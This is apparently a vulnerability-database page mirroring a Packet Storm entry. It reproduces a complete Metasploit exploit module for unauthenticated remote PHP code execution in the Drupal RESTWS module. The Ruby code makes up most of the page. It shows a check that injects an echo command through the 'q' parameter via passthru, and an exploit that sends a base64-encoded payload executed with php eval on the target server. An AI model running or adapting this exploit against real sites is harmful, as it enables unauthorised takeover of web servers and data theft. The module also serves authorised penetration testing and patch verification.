Lucene search
K

Drupal RESTWS Module Remote PHP Code Execution

🗓️ 21 Jul 2016 00:00:00Reported by Mehmet InceType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Drupal RESTWS Module Remote PHP Code Execution vulnerability in Drupal RESTWS Module allows unauthenticated users to execute arbitrary PHP code under web server user context. Affected versions include RESTWS 2.x prior to 2.6 and 1.x prior to 1.7. Tested against RESTWS 2.5 with Drupal 7.5 on Ubuntu server

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Drupal RESTWS Module Remote PHP Code Execution',  
'Description' => %q{  
This module exploits a Remote PHP Code Execution vulnerability in  
Drupal RESTWS Module. Unauthenticated users can execute arbitrary code  
under the context of the web server user.  
  
RESTWS alters the default page callbacks for entities to provide  
additional functionality. A vulnerability in this approach allows  
an unauthenticated attacker to send specially crafted requests resulting  
in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7  
versions are affected by issue.  
  
This module was tested against RESTWS 2.5 with Drupal 7.5 installation on Ubuntu server.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Devin Zuczek', # discovery  
'Mehmet Ince <[email protected]>' # msf module  
],  
'References' =>  
[  
['URL', 'https://www.drupal.org/node/2765567']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [ ['Automatic', {}] ],  
'DisclosureDate' => 'Jul 13 2016',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])  
]  
)  
end  
  
def check  
r = rand_text_alpha(8 + rand(4))  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_get' => {  
'q' => "taxonomy_vocabulary//passthru/echo #{r}"  
}  
)  
if res && res.body.include?(r)  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_get' => {  
'q' => "taxonomy_vocabulary//passthru/#{cmd}"  
}  
)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation